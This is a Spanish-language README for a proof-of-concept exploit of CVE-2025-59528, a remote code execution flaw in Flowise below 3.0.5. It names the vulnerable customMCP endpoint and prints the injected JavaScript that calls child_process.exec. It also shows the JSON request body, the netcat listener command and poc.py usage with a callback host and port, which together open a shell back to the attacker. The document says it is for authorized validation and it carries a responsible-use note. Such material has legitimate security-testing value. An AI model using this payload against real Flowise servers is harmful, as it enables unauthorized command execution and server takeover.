Version française

CVE-2025-59528 Prueba de Concepto

PoC mínimo centrado en la validación técnica de la vulnerabilidad en un entorno autorizado.

Requisitos previos

• Debe tener una cuenta de usuario en el panel de Flowise objetivo.
• Debe tener una clave de API válida vinculada a esa cuenta.
• Debe iniciar un listener en su host de callback antes de ejecutar el PoC (ejemplo: nc -lvn 4444).

Ejemplo de uso

Inicie el listener primero:

nc -lvn 4444

python3 poc.py --domain example.com --host 10.10.10.1 --port 4444 --api YOUR_VALID_API_KEY

Reemplace los valores con la configuración de su entorno autorizado.

Resumen del CVE

• Producto afectado: Flowise
• Versiones afectadas: inferiores a 3.0.5
• Tipo: Ejecución remota de código (RCE)
• Punto de entrada: endpoint POST /api/v1/node-load-method/customMCP

El problema proviene de cómo se procesa inputs.mcpServerConfig: este valor se interpreta de una manera que permite la ejecución de JavaScript en el lado del servidor. En la práctica, un atacante autenticado puede inyectar una expresión que llama a child_process y ejecuta un comando del sistema operativo.

Mecanismo de explotación

El flujo de explotación es:

1. Construir una solicitud al endpoint customMCP.
2. Colocar una expresión JavaScript maliciosa en mcpServerConfig.
3. Activar process.mainModule.require('child_process').
4. Ejecutar un comando del sistema operativo (exec/execSync).

Si se acepta, el servidor ejecuta el comando en su contexto de sistema.

Cómo funciona este PoC (poc.py)

El script toma cuatro argumentos:

• -d/--domain: dominio objetivo
• -lh/--host: IP de callback
• -lp/--port: puerto de callback
• -A/--api: token de API Bearer

Luego:

1. Construye la URL vulnerable: http://<domain>/api/v1/node-load-method/customMCP
2. Añade el encabezado Authorization: Bearer <token>
3. Prepara un comando de shell de callback
4. Inyecta ese comando en una expresión JS:

({
  x: (function () {
    const cp = process.mainModule.require("child_process");
    cp.exec("<commande>");
    return 1;
  })(),
});

5. Envía este JSON:

{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "<expresión JS inyectada>"
  }
}

6. Imprime el estado HTTP y la respuesta cruda para su validación.

Por qué este PoC es mejor (vs EDB 52440)

En comparación con el PoC de EDB (que realiza inicio de sesión con correo/contraseña, usa encabezados similares a los de un navegador y ejecuta un --cmd de formato libre), este script es mejor para la validación pura del PoC:

1. Más directo: sin flujo de inicio de sesión y menos ruido HTTP innecesario.
2. Menor superficie de fallo: menos pasos vinculados a la configuración de frontend/auth.
3. Automatización compatible con CI: argumentos simples y salida rápida.
4. Validación más clara: el estado y el cuerpo se imprimen inmediatamente.
5. Centrado en la ruta principal del CVE: inyección en mcpServerConfig y ejecución en el lado del servidor.

En resumen: el script de EDB es una demo ofensiva más genérica, mientras que este PoC está más orientado a la reproducibilidad técnica.

Limitaciones actuales

• Asume que ya existe un token de API válido.
• Sin modo https ni manejo de certificados.
• Sin lógica de reintento/backoff.
• El comando de callback está codificado (aún no parametrizado mediante --cmd).

Uso responsable

Pruebe únicamente en sistemas que le pertenezcan o donde tenga autorización explícita.